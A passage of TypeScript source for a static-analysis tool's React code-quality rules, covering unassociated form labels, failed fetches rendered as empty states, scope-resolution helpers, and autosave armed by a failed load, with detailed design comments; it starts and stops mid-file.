{expression}, no nested control and no capitalised component; a NATIVE input/select/textarea must follow within ~200 characters with no other <label> intervening; that field must not carry aria-label/aria-labelledby or type=\\\"hidden\\\"; and the whole rule stands down if the repo already runs eslint-plugin-jsx-a11y. Each clause removes a class of correct code: for= in non-JSX templates, aria-labelledby pairs, prop-forwarding wrappers, slot children, implicit wrapping, and design-system fields that thread their own id.\",\n check(ctx) {\n const hits: QualityHit[] = [];\n // Whole-rule gate: their linter already says this, in their editor, at\n // write time. Computed once — it is a property of the repo, not the file.\n if (repoLintsA11y(ctx)) return hits;\n\n for (const file of ctx.files) {\n if (file.excluded) continue;\n // Clause 1. The extension check is not redundant with the parser's\n // language: it is what keeps `.vue`/`.svelte`/`.astro`/`.html`/`.php`\n // out, where `for=` is the correct spelling and would read as the bug.\n if (!/\\.(?:jsx|tsx)$/i.test(file.path)) continue;\n if (DOC_PATH.test(file.path)) continue;\n\n // No AST, no rule. A regex fallback would answer the question about a\n // character window instead of an element, which is the failure mode this\n // rule exists to avoid.\n const parsed = file.parsed;\n if (!parsed) continue;\n if (parsed.language !== \"jsx\" && parsed.language !== \"tsx\") continue;\n\n const elements: JSXElement[] = [];\n const openings: JSXOpeningElement[] = [];\n walkNodes(parsed.ast.program as Node, (node) => {\n if (node.type === \"JSXElement\") elements.push(node);\n else if (node.type === \"JSXOpeningElement\") openings.push(node);\n });\n // Source order, because clause 4 is a question about proximity and the\n // walk order of an object graph is not source order.\n openings.sort((a, b) => (a.start ?? 0) - (b.start ?? 0));\n\n for (const element of elements) {\n const opening = element.openingElement;\n if (!isNativeTag(opening.name) || tagName(opening.name) !== \"label\") continue;\n\n // ── Clause 2: the tag itself carries nothing that could associate it.\n if (opening.selfClosing) continue;\n if (!isBareLabel(opening)) continue;\n\n // ── Clause 3: it renders literal text and only literal text.\n const facts: ChildFacts = { text: false, slot: false, control: false, component: false };\n inspectChildren(element.children, facts);\n if (!facts.text || facts.slot || facts.control || facts.component) continue;\n\n // ── Clause 4: a bare native field is sitting right after it.\n // An element with no offsets (recovered parse) is skipped rather\n // than measured from 0, which would attribute the top of the file\n // to this label.\n if (element.end == null) continue;\n const field = fieldAfter(element.end, openings);\n if (!field) continue;\n\n // ── Clause 5: that field is not already named some other way.\n if (fieldIsNamed(field)) continue;\n\n const line = opening.loc?.start.line ?? lineAt(file.content, opening.start ?? 0);\n hits.push({ file: file.path, line });\n }\n }\n return hits;\n },\n};\n","import type { NodePath } from \"@babel/traverse\";\n// eslint-disable-next-line @typescript-eslint/no-require-imports\nimport _traverse from \"@babel/traverse\";\nimport type {\n CallExpression,\n Function as BabelFunction,\n LogicalExpression,\n Node,\n} from \"@babel/types\";\nimport { getBindingIdentifiers } from \"@babel/types\";\nimport { lineAt } from \"../context.js\";\nimport { unwrap } from \"./scope.js\";\nimport type { QualityFile, QualityHit, QualityRule } from \"../types.js\";\nimport {\n ERROR_PATH_SIGNALS,\n isFetchCallee,\n nodeEnd,\n nodeStart,\n} from \"./silent-failed-write.js\";\n\n/**\n * QA009 — a failed read is rendered as an empty state.\n *\n * The browser fetches a list, the request fails or the body is not what the\n * component expected, and `|| []` turns that into a page that says \"No active\n * sessions\", \"No scans yet\", \"No team members\". It is the same lie as QA001,\n * told one layer up: QA001 is the server answering 200 with an empty payload,\n * this is the client manufacturing the empty payload for itself. A user reading\n * the security page of their account is told nothing is signed in, and acts on\n * it.\n *\n * WHY THE `.catch` EXONERATION IS INVERTED HERE. QA002 treats `.catch(` as\n * proof the author handled the failure, and for a write that is right: a\n * `.catch` around a mutation is where the retry or the error toast lives. For a\n * read it is the opposite. The shipped defect in this product was\n *\n * .then(data => { setServerSessions(data.sessions || []); setLoaded(true); })\n * .catch(() => setLoaded(true));\n *\n * — a `.catch` whose entire body ASSERTS THE READ COMPLETED. So this rule\n * imports QA002's `ERROR_PATH_SIGNALS` and subtracts exactly one entry. Same\n * constant, opposite meaning, and the subtraction is the rule.\n *\n * WHY THE LITERAL `fetch(` IS REQUIRED. Throwing clients — ky, wretch, ofetch —\n * reject on a non-2xx, so `|| []` after them covers only a genuinely absent\n * field and is correct. Requiring the global `fetch(` in the unit excludes them,\n * and excludes in-file wrappers for free: a `getJson()` helper that checks `.ok`\n * and rethrows leaves its callers containing neither `fetch(` nor `.json()`.\n *\n * Measured before shipping: 437 real .tsx files, 6 fires across 5 sites, zero\n * false positives, every fire hand-verified. Three of the five had already been\n * fixed by hand in this repo and the rule goes silent on all three at their\n * fixed revision — which is the A/B that matters. The fourth,\n * settings/page.tsx, was live and unfixed when the rule found it.\n */\n\nconst traverse = (\n typeof _traverse === \"function\" ? _traverse : (_traverse as { default: typeof _traverse }).default\n) as typeof _traverse;\n\n/* ------------------------------------------------------------------ *\n * Clause 1 — what counts as an error path for a READ.\n * ------------------------------------------------------------------ */\n\n/**\n * QA002's list, minus `.catch(`.\n *\n * Derived rather than restated so the two cannot drift: if someone adds a new\n * way of telling the user a request failed, both rules learn it at once. The\n * one subtraction is spelled out above and is the whole reason this rule\n * exists separately.\n */\nconst READ_ERROR_PATH_SIGNALS = ERROR_PATH_SIGNALS.filter(\n (re) => re.source !== /\\.catch\\s*\\(/.source,\n);\n\n/* ------------------------------------------------------------------ *\n * Clause 2 — the fallback that manufactures the empty state.\n * ------------------------------------------------------------------ */\n\n/** `[]` or `{}` written literally, with nothing in it. */\nfunction isEmptyCollectionLiteral(node: Node): boolean {\n if (node.type === \"ArrayExpression\") return node.elements.length === 0;\n if (node.type === \"ObjectExpression\") return node.properties.length === 0;\n return false;\n}\n\n/**\n * A React state setter, by the convention React itself documents.\n *\n * Deliberately not \"any call\": `normalize(data.rows || [])` is a pure helper\n * and says nothing about what the user is shown. The defect is specifically\n * that the empty value reaches RENDERED STATE.\n */\nconst SETTER = /^set[A-Z][A-Za-z0-9_]*$/;\n\nfunction setterName(callee: Node): string | null {\n if (callee.type === \"Identifier\" && SETTER.test(callee.name)) return callee.name;\n return null;\n}\n\n/**\n * The left operand has to be a property read, not a bare identifier.\n *\n * `setRows(rows || [])` is a defaulting of something the component already\n * holds. `setRows(data.rows || [])` is a read of a field off a body that may\n * never have arrived, which is the defect. Optional chaining counts — it is the\n * same read, written defensively about the same absence.\n */\nfunction isPropertyRead(node: Node): boolean {\n return node.type === \"MemberExpression\" || node.type === \"OptionalMemberExpression\";\n}\n\n/**\n * Does a `.json()` appear anywhere in this span?\n *\n * Deliberately textual and deliberately in ONE place. The chain walk below is\n * the rigorous test and decides the common cases; this is the fallback for the\n * two positions a walk cannot reach — inside a `.then` callback, and across a\n * receiver whose shape the walk has already left. Two copies of the same probe\n * had started to drift on which span they measured.\n */\nfunction mentionsJsonParse(node: Node, code: string): boolean {\n return /\\.json\\s*\\(/.test(code.slice(nodeStart(node), nodeEnd(node)));\n}\n\n/**\n * Does this call chain end up parsing a response body?\n *\n * Walks LEFT along the callee chain rather than matching one shape, because\n * the same read has many spellings and an earlier draft of this clause\n * recognised exactly one of them (`const x = await res.json()`). A review\n * found five that it silently dropped — an `as` cast, a destructured body, a\n * non-null assertion, a plain assignment, and `res.json().catch(() => ({}))` —\n * and the first two are the dominant TypeScript spellings in the .tsx files\n * this rule exists for.\n *\n * It must stay a CHAIN walk. `await someHelper(x.json())` mentions `.json(`\n * but is a throwing-client call, which is the shape clause 2 exonerates.\n */\nfunction chainParsesBody(node: Node, code: string): boolean {\n let cur = unwrap(node);\n for (;;) {\n if (cur.type === \"CallExpression\" || cur.type === \"OptionalCallExpression\") {\n const callee = unwrap(cur.callee as Node);\n if (\n (callee.type === \"MemberExpression\" || callee.type === \"OptionalMemberExpression\") &&\n callee.property.type === \"Identifier\"\n ) {\n const method = callee.property.name;\n if (method === \"json\") return true;\n if (method === \"then\" || method === \"catch\") {\n const cb = cur.arguments[0] as Node | undefined;\n if (\n cb &&\n (cb.type === \"ArrowFunctionExpression\" || cb.type === \"FunctionExpression\") &&\n /\\.json\\s*\\(/.test(code.slice(nodeStart(cb), nodeEnd(cb)))\n ) {\n return true;\n }\n }\n cur = unwrap(callee.object as Node);\n continue;\n }\n // Already unwrapped above; re-deriving it was a second call for nothing.\n cur = callee;\n continue;\n }\n if (cur.type === \"MemberExpression\" || cur.type === \"OptionalMemberExpression\") {\n cur = unwrap(cur.object as Node);\n continue;\n }\n return false;\n }\n return false;\n}\n\n/**\n * Every local name a binding pattern introduces.\n *\n * `t.getBindingIdentifiers` is the Babel API for this, and it handles the cases\n * a hand-rolled walk forgets — array patterns, defaults, rest elements. The\n * version this replaces handled object patterns only.\n */\nfunction boundNames(id: Node, into: Set<string>): void {\n for (const name of Object.keys(getBindingIdentifiers(id))) into.add(name);\n}\n\n/**\n * Identifiers in this unit that hold a body this unit parsed.\n *\n * Clause 2 asks the UNIT to contain the literal `fetch(`, and a unit can hold\n * more than one read. Measured on 168 sampled repositories, that is not\n * hypothetical: in one, a `useEffect` called a throwing helper\n * (`await fetchLeagueData()`), defaulted a field off its result with `|| []`,\n * and then looped over the result issuing a real `fetch()` per item. The inner\n * fetch satisfied clause 2 for a fallback that had nothing to do with it —\n * while the outer call is exactly the throwing-client shape clause 2 exists to\n * exonerate.\n *\n * So the defaulted value has to come from a body this unit actually parsed.\n * `await someHelper()` does not qualify, because a helper that checks `.ok`\n * and rethrows is the correct pattern and its caller's `|| []` covers a\n * genuinely absent field.\n */\nfunction parsedBodyBindings(\n unit: NodePath<BabelFunction>,\n code: string,\n): Set<string> {\n const names = new Set<string>();\n\n // The one place a node can genuinely be absent — `let data;` has no init.\n // Everything downstream takes a Node, so four never-true guards disappear.\n const record = (id: Node | undefined, init: Node | null | undefined) => {\n if (!id || !init) return;\n const awaited = unwrap(init);\n if (awaited.type !== \"AwaitExpression\") return;\n if (!chainParsesBody(awaited.argument as Node, code)) return;\n boundNames(id, names);\n };\n\n unit.traverse({\n VariableDeclarator(decl) {\n record(decl.node.id as Node, decl.node.init as Node | undefined);\n },\n\n // `let data; data = await res.json();` — the same read, not a declaration.\n AssignmentExpression(assign) {\n if (assign.node.operator !== \"=\") return;\n record(assign.node.left as Node, assign.node.right as Node);\n },\n\n // The promise-chain spelling, which is the shipped defect's own:\n // fetch(u).then(r => r.json()).then(data => setRows(data.rows || []))\n // `data` is a callback parameter rather than a binding, and it is just as\n // much a body this unit parsed. Keyed on the RECEIVER containing `.json(`,\n // so `somePromise.then(x => …)` does not qualify.\n CallExpression(call) {\n const callee = call.node.callee as Node;\n if (\n callee.type !== \"MemberExpression\" &&\n callee.type !== \"OptionalMemberExpression\"\n )\n return;\n if (callee.property.type !== \"Identifier\" || callee.property.name !== \"then\") return;\n const receiver = callee.object as Node;\n if (!mentionsJsonParse(receiver, code)) return;\n const cb = call.node.arguments[0] as Node | undefined;\n if (!cb) return;\n if (cb.type !== \"ArrowFunctionExpression\" && cb.type !== \"FunctionExpression\") return;\n const param = cb.params[0] as Node | undefined;\n if (param) boundNames(param, names);\n },\n });\n return names;\n}\n\n/**\n * Does this property read hang off a body this unit parsed?\n *\n * Spellings, all of them real:\n * const data = await res.json(); data.rows || []\n * const data = (await res.json()) as T; data.rows || []\n * const { payload } = await res.json(); payload.rows || []\n * .then(data => …) data.rows || []\n * setKeys((await res.json()).keys || []) inline, no name at all\n */\nfunction derivesFromParsedBody(node: Node, bodies: Set<string>, code: string): boolean {\n let cur = unwrap(node);\n while (\n cur &&\n (cur.type === \"MemberExpression\" || cur.type === \"OptionalMemberExpression\")\n ) {\n cur = unwrap(cur.object as Node);\n }\n if (cur.type === \"Identifier\") return bodies.has(cur.name);\n // Anything else is either the chain itself or not a chain at all, and\n // chainParsesBody already answers false for the second case.\n if (cur.type === \"AwaitExpression\") cur = unwrap(cur.argument as Node);\n return chainParsesBody(cur, code);\n}\n\nfunction emptyFallbackArgument(node: Node): LogicalExpression | null {\n if (node.type !== \"LogicalExpression\") return null;\n if (node.operator !== \"||\" && node.operator !== \"??\") return null;\n if (!isEmptyCollectionLiteral(node.right)) return null;\n if (!isPropertyRead(node.left)) return null;\n return node;\n}\n\n/* ------------------------------------------------------------------ *\n * Clause 3 — the unit.\n * ------------------------------------------------------------------ */\n\n/** `useEffect(...)` / `useLayoutEffect(...)`, by callee name. */\nfunction isEffectCall(node: Node): boolean {\n if (node.type !== \"CallExpression\") return false;\n const callee = node.callee;\n const name =\n callee.type === \"Identifier\"\n ? callee.name\n : callee.type === \"MemberExpression\" && callee.property.type === \"Identifier\"\n ? callee.property.name\n : null;\n return name === \"useEffect\" || name === \"useLayoutEffect\";\n}\n\n/** A component, by the casing convention every React codebase follows. */\nfunction looksLikeComponent(path: NodePath<BabelFunction>): boolean {\n const parent = path.parent;\n if (parent.type === \"VariableDeclarator\" && parent.id.type === \"Identifier\") {\n return /^[A-Z]/.test(parent.id.name);\n }\n const node = path.node;\n if (\n (node.type === \"FunctionDeclaration\" || node.type === \"FunctionExpression\") &&\n node.id &&\n /^[A-Z]/.test(node.id.name)\n ) {\n return true;\n }\n return false;\n}\n\n/**\n * The span the clauses are asked about.\n *\n * Not the nearest function — for `.then(data => setRows(data.rows || []))` that\n * would be the arrow alone, which cannot see the `.catch` two lines below it,\n * and the rule would report the exact code that DOES handle its failure. Not\n * the whole component either: a component with an unrelated `toast.error` in a\n * submit handler would exonerate a broken loader thirty lines away.\n *\n * So: the effect callback when the fetch is inside one, and otherwise the\n * outermost non-component function containing it — the loader, in both cases.\n */\nfunction unitFor(fetchPath: NodePath<CallExpression>): NodePath<BabelFunction> | null {\n let candidate: NodePath<BabelFunction> | null = null;\n for (\n let fn: NodePath<BabelFunction> | null = fetchPath.getFunctionParent();\n fn !== null;\n fn = fn.getFunctionParent()\n ) {\n if (looksLikeComponent(fn)) break;\n candidate = fn;\n // An effect callback is the boundary by definition: React owns what is\n // outside it, and everything the load does is inside.\n if (fn.parent && isEffectCall(fn.parent)) return fn;\n }\n return candidate;\n}\n\n/* ------------------------------------------------------------------ *\n * The rule.\n * ------------------------------------------------------------------ */\n\nexport const failedReadEmptyState: QualityRule = {\n id: \"QA009\",\n title: \"A failed read is rendered as an empty state\",\n severity: \"high\",\n category: \"Correctness\",\n description:\n \"This loader turns a failed or unexpected response into an empty list and renders it, so the page shows the same thing it would show a brand-new account: no sessions, no scans, no members. Nothing tells the user the request failed, and anything they do next — including saving — acts on data the app never actually received.\",\n fix: \"Check the response before using it: on a non-2xx, or a body without the field you expected, set an error state and render that instead of the empty state. Keep the `|| []` only for a response you have already confirmed arrived.\",\n precisionNotes:\n \"Client files only, and only a unit containing the literal global `fetch(` — throwing clients (ky, wretch, ofetch) reject on non-2xx, so `|| []` after them is correct, and in-file wrappers that check `.ok` and rethrow leave their callers containing no `fetch(` at all. The empty fallback must be `|| []`/`?? []`/`{}` over a PROPERTY READ passed straight to a `setX` state setter: `setRows(rows || [])` defaults a value the component already holds, and a pure helper's argument is never rendered. The unit is the effect callback, or the outermost non-component function — the nearest function cannot see the `.catch` below it, and the whole component would let an unrelated toast.error exonerate a broken loader. Exoneration is QA002's ERROR_PATH_SIGNALS with `.catch(` REMOVED: for a write a `.catch` means the author handled it, for a read `.catch(() => setLoaded(true))` is the defect itself. The defaulted value must come from a body the unit itself parsed — `await res.json()`, a `.then` off a receiver containing `.json(`, or the inline `(await res.json()).rows` — because a unit can hold more than one read, and a nearby real fetch was found satisfying the clause for a fallback belonging to a throwing helper. Measured at 6 fires over 5 sites in 437 .tsx files with zero false positives, then across 168 third-party repositories: 8 fires over 5 of them, every one re-read in full and every one real. That is a precision result, not a recall one — the client files those repositories hold are about a third of them, and the parsed-body clause recognised only one spelling of the read at the time it was measured.\",\n\n check(ctx) {\n const hits: QualityHit[] = [];\n\n for (const file of ctx.files) {\n if (file.excluded) continue;\n // A route handler has no user in front of it to show an empty state to;\n // its caller is the one that renders. Same gate as QA002.\n if (!file.isClient) continue;\n if (file.isServer) continue;\n if (/^\\s*[\"']use server[\"']/m.test(file.code)) continue;\n // No `fetch` anywhere means clause 2 can never hold, so the whole-file\n // traversal below is wasted. Measured on 819 files: 31 of the 64 gated\n // files were being traversed for nothing, 17% of the rule's time. Same\n // shape as QA010's EMPTY_INITIAL prefilter, and a strict superset of what\n // isFetchCallee accepts — `file.code` is comment-masked with offsets\n // preserved, so this cannot hide a real call.\n if (!file.code.includes(\"fetch\")) continue;\n\n const parsed = file.parsed;\n if (!parsed) continue;\n\n // Units already evaluated. The whole evaluation depends only on the unit\n // and the file, so it is deterministic and one pass is enough — this\n // used to key on \"already reported\", which short-circuits only AFTER a\n // hit. For the common no-hit case a loader containing N fetch calls\n // (exactly the shape the corpus false positive had, a loop issuing one\n // fetch per item) re-traversed the same subtree N times.\n const examined = new Set<number>();\n\n traverse(parsed.ast, {\n CallExpression(path) {\n if (!isFetchCallee(path.node.callee)) return;\n\n const unit = unitFor(path);\n if (!unit) return;\n const start = nodeStart(unit.node);\n if (examined.has(start)) return;\n examined.add(start);\n\n const unitSource = file.code.slice(start, nodeEnd(unit.node));\n // Clause 1: anything that tells the user the read failed.\n if (READ_ERROR_PATH_SIGNALS.some((re) => re.test(unitSource))) return;\n\n // Clause 2: an empty collection handed to a state setter, defaulting\n // a field off a body THIS unit parsed — not off whatever else the\n // unit happened to await. See parsedBodyBindings.\n const bodies = parsedBodyBindings(unit, file.code);\n\n let hit: { line: number; setter: string } | null = null;\n unit.traverse({\n CallExpression(inner) {\n if (hit) return;\n const name = setterName(inner.node.callee);\n if (!name) return;\n const arg = inner.node.arguments[0];\n if (!arg) return;\n const fallback = emptyFallbackArgument(arg as Node);\n if (!fallback) return;\n if (!derivesFromParsedBody(fallback.left as Node, bodies, file.code)) return;\n hit = { line: lineAt(file.content, nodeStart(fallback)), setter: name };\n },\n });\n\n if (!hit) return;\n const { line, setter } = hit as { line: number; setter: string };\n hits.push({\n file: file.path,\n line,\n detail: `\\`${setter}\\` is handed an empty collection whenever this read fails or the body is missing that field, and nothing in this loader tells the user the request did not succeed. The page renders its empty state — the same screen a brand-new account sees.`,\n });\n },\n });\n }\n\n return hits;\n },\n};\n","import type { Node } from \"@babel/types\";\nimport type { NodePath } from \"@babel/traverse\";\n\n/**\n * Scope-resolving primitives the quality rules kept hand-rolling.\n *\n * Every rule here needs two things about a React state value — what it started\n * as, and whether the user drives it — and before this file each one answered\n * by regex over the whole file. That is one shape of bug, found three times:\n *\n * QA009 asked whether the enclosing UNIT held a literal `fetch(`, and an\n * unrelated nested fetch satisfied it.\n * QA010 resolved a state's initial value through a file-keyed map of bare\n * names, so a second component's `loaded` overwrote the first one's.\n * QA012 resolved `useState` and its setter by regex over `file.code`, so a\n * second component's state satisfied the clause for the first one's effect.\n *\n * The root cause is the same in all three: a clause tested at a wider scope\n * than the thing it qualifies. A regex over a file cannot see scope, so the\n * only way to stop writing this bug is to make the scope-correct answer the\n * easy one to reach for.\n */\n\n/** Strip the wrappers that carry no runtime meaning but hide the node under them. */\nexport function unwrap(node: Node): Node {\n let cur = node;\n while (\n cur.type === \"TSAsExpression\" ||\n cur.type === \"TSNonNullExpression\" ||\n cur.type === \"TSTypeAssertion\" ||\n cur.type === \"TSSatisfiesExpression\"\n ) {\n cur = (cur as unknown as { expression: Node }).expression;\n }\n return cur;\n}\n\n/** The terminal name of a call's callee: `useState(…)` and `React.useState(…)` both give \"useState\". */\nexport function calleeName(node: Node): string | null {\n if (node.type !== \"CallExpression\" && node.type !== \"OptionalCallExpression\") return null;\n const c = node.callee as Node;\n if (c.type === \"Identifier\") return c.name;\n if (\n (c.type === \"MemberExpression\" || c.type === \"OptionalMemberExpression\") &&\n c.property.type === \"Identifier\"\n ) {\n return c.property.name;\n }\n return null;\n}\n\nexport interface UseStateBinding {\n /** The `useState(...)` argument, or undefined for `useState()`. */\n initial: Node | undefined;\n /** The setter name as destructured — `setLoaded`, not a guess at it. */\n setter: string | null;\n /** The declarator, for callers that need to walk further. */\n decl: NodePath;\n}\n\n/**\n * Resolve `name` to the `useState` destructure that binds it, THROUGH SCOPE.\n *\n * Asking from the site that cares is the whole point: two components in one\n * file may each declare `loaded`, and only the binding visible from the call\n * site is the one that answers for it.\n *\n * Returns undefined when the binding is not a `useState` array destructure,\n * which callers should read as \"cannot tell\" rather than as a negative.\n */\nexport function useStateBinding(\n at: NodePath,\n name: string,\n): UseStateBinding | undefined {\n const binding = at.scope.getBinding(name);\n if (!binding) return undefined;\n const decl = binding.path;\n if (!decl.isVariableDeclarator()) return undefined;\n const id = decl.node.id;\n const init = decl.node.init;\n if (id.type !== \"ArrayPattern\") return undefined;\n if (!init || calleeName(init as Node) !== \"useState\") return undefined;\n const first = id.elements[0];\n if (!first || first.type !== \"Identifier\" || first.name !== name) return undefined;\n const second = id.elements[1];\n return {\n initial: (init as { arguments: Node[] }).arguments[0],\n setter: second && second.type === \"Identifier\" ? second.name : null,\n decl,\n };\n}\n\n/**\n * `[]`, `{}` or `\"\"` — the initial that turns \"wrote too early\" into \"erased\n * what was there\".\n *\n * `useState(0)` is deliberately absent: a counter synced to storage has\n * different semantics and no verified defect behind it.\n */\nexport function isEmptyInitial(node: Node | undefined): boolean {\n if (!node) return false;\n if (node.type === \"ArrayExpression\") return node.elements.length === 0;\n if (node.type === \"ObjectExpression\") return node.properties.length === 0;\n if (node.type === \"StringLiteral\") return node.value === \"\";\n if (node.type === \"TemplateLiteral\") {\n return node.quasis.length === 1 && node.quasis[0].value.raw === \"\";\n }\n return false;\n}\n","import type { NodePath } from \"@babel/traverse\";\n// eslint-disable-next-line @typescript-eslint/no-require-imports\nimport _traverse from \"@babel/traverse\";\nimport type { CallExpression, Node } from \"@babel/types\";\nimport { isClientTarget, lineAt } from \"../context.js\";\nimport type { QualityHit, QualityRule } from \"../types.js\";\nimport { isEmptyInitial, useStateBinding } from \"./scope.js\";\nimport { nodeEnd, nodeStart } from \"./silent-failed-write.js\";\n\n/**\n * QA010 — autosave is armed by a load that failed.\n *\n * The component loads the user's saved state, sets a `loaded` flag, and an\n * effect watching that state writes it back. The flag is set in a `finally`,\n * so a failed load arms autosave exactly like a successful one — and the\n * component is still holding the empty defaults it initialised with. The\n * effect then writes those empty defaults over whatever the user actually had.\n *\n * This is not hypothetical. It shipped here: opening the checklist page during\n * a database blip POSTed `{overrides:{}, timestamps:{}, customItems:[]}` over\n * a filled-in checklist, including every custom item the user had typed. No\n * interaction was required, and the write looked exactly like a legitimate\n * one. The fix is the two lines this rule looks for the absence of — set the\n * flag on the success path only, and record the failure separately.\n *\n * WHY `finally` AND NOT \"the guard is missing\". The defect HAD a guard:\n * `if (stateLoaded && !stateLoadFailed) saveState()`. A rule that fires on\n * unguarded writes would have missed it entirely and reported every correct\n * autosave in the world. What was wrong was the ARMING — a `finally` treats\n * failure and success identically, which is the correct behaviour for a\n * spinner and the wrong one for a permission to write.\n *\n * WHY THAT IS SAFE. `finally { setLoading(false) }` is everywhere and correct,\n * so the flag set in the `finally` has to be the same identifier the persistent\n * write is gated on. That single join is what separates one real defect from\n * the hundreds of correct `finally` blocks around it.\n */\n\nconst traverse = (\n typeof _traverse === \"function\" ? _traverse : (_traverse as { default: typeof _traverse }).default\n) as typeof _traverse;\n\n/**\n * Does anything this writer touches start out empty?\n *\n * Clause 2 asks whether the write can ERASE, and only the state the write\n * carries can answer that. It used to be a regex over the whole file, which is\n * the rule's own documented root cause — a clause tested at a wider scope than\n * the thing it qualifies — and it meant an unrelated `useState(\"\")` in a\n * second component satisfied the erasure premise for a write that had nothing\n * to do with it.\n *\n * Scoped to the writer and resolved through scope, so the state has to be one\n * this write carries and one declared where this function can see it.\n *\n * \"Carries\" includes the DEPENDENCY ARRAY of a `useCallback`/`useMemo` wrapper\n * and of the effect itself. That is not a concession — a dependency array is\n * the idiomatic declaration of what a callback closes over, and the shipped\n * defect is written exactly that way: `useCallback(() => fetch(url, {method:\n * \"POST\"}), [overrides])`. Reading only the body would have dropped it.\n */\nfunction writerTouchesEmptyState(writers: NodePath[]): boolean {\n for (const writer of writers) {\n let found = false;\n writer.traverse({\n Identifier(id) {\n if (found) return;\n if (!id.isReferencedIdentifier()) return;\n if (isEmptyInitial(useStateBinding(id, id.node.name)?.initial)) found = true;\n },\n });\n if (found) return true;\n }\n return false;\n}\n\n/* ------------------------------------------------------------------ *\n * Clause 1 — what counts as a persistent write.\n * ------------------------------------------------------------------ */\n\n/** A write that outlives the tab: the server, or storage. */\nconst PERSISTENT_WRITE =\n /\\bfetch\\s*\\([^)]{0,400}?method\\s*:\\s*[\"'`](?:POST|PUT|PATCH)[\"'`]|\\blocalStorage\\s*\\.\\s*setItem\\s*\\(|\\bsessionStorage\\s*\\.\\s*setItem\\s*\\(/is;\n\n/* ------------------------------------------------------------------ *\n * Clause 2 — the initial value that makes the write destructive.\n * ------------------------------------------------------------------ */\n\n/**\n * `useState({})` / `useState([])` / `useState(\"\")`.\n *\n * `useState(0)` is deliberately absent: a counter synced to storage has\n * different semantics, and no verified defect behind it. The empty literal is\n * what turns \"wrote too early\" into \"erased what was there\".\n */\nconst EMPTY_INITIAL = /\\buseState\\s*(?:<[^>]*>)?\\s*\\(\\s*(?:\\[\\s*\\]|\\{\\s*\\}|\"\"|''|``)\\s*\\)/;\n\n/* ------------------------------------------------------------------ *\n * Small helpers.\n * ------------------------------------------------------------------ */\n\nfunction calleeIdentifier(node: Node): string | null {\n if (node.type !== \"CallExpression\") return null;\n const c = node.callee;\n if (c.type === \"Identifier\") return c.name;\n if (c.type === \"MemberExpression\" && c.property.type === \"Identifier\") return c.property.name;\n return null;\n}\n\nfunction isEffectCall(node: Node): boolean {\n const name = calleeIdentifier(node);\n return name === \"useEffect\" || name === \"useLayoutEffect\";\n}\n\n/** `setFoo` → `foo`. The React naming convention, which React itself documents. */\n/** Two literal nodes that denote the same value. Non-literals never match. */\nfunction sameLiteral(a: Node | undefined, b: Node | undefined): boolean {\n if (!a || !b || a.type !== b.type) return false;\n switch (a.type) {\n case \"BooleanLiteral\":\n return a.value === (b as typeof a).value;\n case \"NumericLiteral\":\n return a.value === (b as typeof a).value;\n case \"StringLiteral\":\n return a.value === (b as typeof a).value;\n case \"NullLiteral\":\n return true;\n default:\n // Objects, arrays, identifiers, calls — not decidable from the node, so\n // the call is not treated as a reset and the rule proceeds as before.\n return false;\n }\n}\n\n/** `finally { setX(v) }` where `v` is exactly what `useState` started X as. */\nfunction setsBackToInitial(call: Node, initial: Node | undefined): boolean {\n if (call.type !== \"CallExpression\") return false;\n if (call.arguments.length !== 1) return false;\n return sameLiteral(call.arguments[0] as Node, initial);\n}\n\nfunction stateFromSetter(setter: string): string | null {\n const m = /^set([A-Z][A-Za-z0-9_]*)$/.exec(setter);\n if (!m) return null;\n return m[1].charAt(0).toLowerCase() + m[1].slice(1);\n}\n\n/** Every identifier named anywhere under `node`. */\nfunction identifiersIn(path: NodePath): Set<string> {\n const names = new Set<string>();\n path.traverse({\n Identifier(id) {\n names.add(id.node.name);\n },\n });\n const n = path.node as Node & { name?: string };\n if (n.type === \"Identifier\" && n.name) names.add(n.name);\n return names;\n}\n\n/* ------------------------------------------------------------------ *\n * The rule.\n * ------------------------------------------------------------------ */\n\nexport const autosaveArmedByFailedLoad: QualityRule = {\n id: \"QA010\",\n title: \"Autosave is armed by a load that failed\",\n severity: \"high\",\n category: \"Correctness\",\n description:\n \"The flag that permits this component to write the user's state back is set in a `finally`, so a load that failed arms it exactly like one that succeeded — while the component is still holding the empty values it initialised with. Opening the page during a blip is enough to write those empties over whatever the user had saved, and the write looks like any other.\",\n fix: \"Set the arming flag on the success path only, and record the failure in its own state. The component can stay readable and interactive; it just must not write anything back until a load actually succeeds.\",\n precisionNotes:\n \"Fires on the ARMING, not on a missing guard: the shipped defect had a guard (`if (stateLoaded && !stateLoadFailed) saveState()`), and a rule keyed on unguarded writes would have missed it while reporting every correct autosave. Requires all of: a client file; a `useEffect` whose body reaches a persistent write (fetch with POST/PUT/PATCH, or localStorage/sessionStorage.setItem) either directly or through a same-file callback it names; that write gated on an identifier; a `set<Identifier>` for that same identifier called inside a `finally` block; and at least one `useState` in the file initialised to an empty literal — `[]`, `{}` or `\\\"\\\"`, never `0`, because the empty literal is what turns \\\"wrote too early\\\" into \\\"erased what was there\\\". The join between the finally-set flag and the write's guard is the whole narrowing: `finally { setLoading(false) }` is everywhere and correct, and is only reportable when that same flag is what permits the write. The value matters too — a `finally` that sets the flag back to the literal `useState` started it as is a reset and cannot arm anything, which is what separates this from the hundreds of correct `finally` blocks around it. Measured across 168 third-party repositories: 0 fires. The denominator is the client files among them, not the whole corpus.\",\n\n check(ctx) {\n const hits: QualityHit[] = [];\n\n for (const file of ctx.files) {\n if (!isClientTarget(file)) continue;\n const parsed = file.parsed;\n if (!parsed) continue;\n\n // Clause 2, cheap half — no empty-literal `useState` anywhere in the\n // file means none in any writer either, so the whole file can be skipped\n // without parsing further. A regex over the file is a SUPERSET of the\n // real clause and can only over-admit, never over-reject; the precise\n // half runs against the writer's own subtree below.\n if (!EMPTY_INITIAL.test(file.code)) continue;\n\n // Every state identifier whose setter is called inside a `finally`.\n // That is the arming defect: a `finally` cannot distinguish the load\n // that worked from the one that did not.\n const armedInFinally = new Map<string, number>();\n traverse(parsed.ast, {\n TryStatement(path) {\n const finalizer = path.get(\"finalizer\");\n if (!finalizer || Array.isArray(finalizer) || !finalizer.node) return;\n finalizer.traverse({\n CallExpression(call) {\n const name = calleeIdentifier(call.node);\n if (!name) return;\n const state = stateFromSetter(name);\n if (!state) return;\n // A `finally` that sets the flag back to what it started as\n // cannot ARM anything — it is a reset, which is what almost\n // every `finally` in every React codebase is doing.\n //\n // Measured on 168 sampled repositories, this was the rule's one\n // false positive: `const [isRunning, setIsRunning] =\n // useState(false)` with `finally { setIsRunning(false) }`, a\n // countdown timer gated on `if (!isRunning) 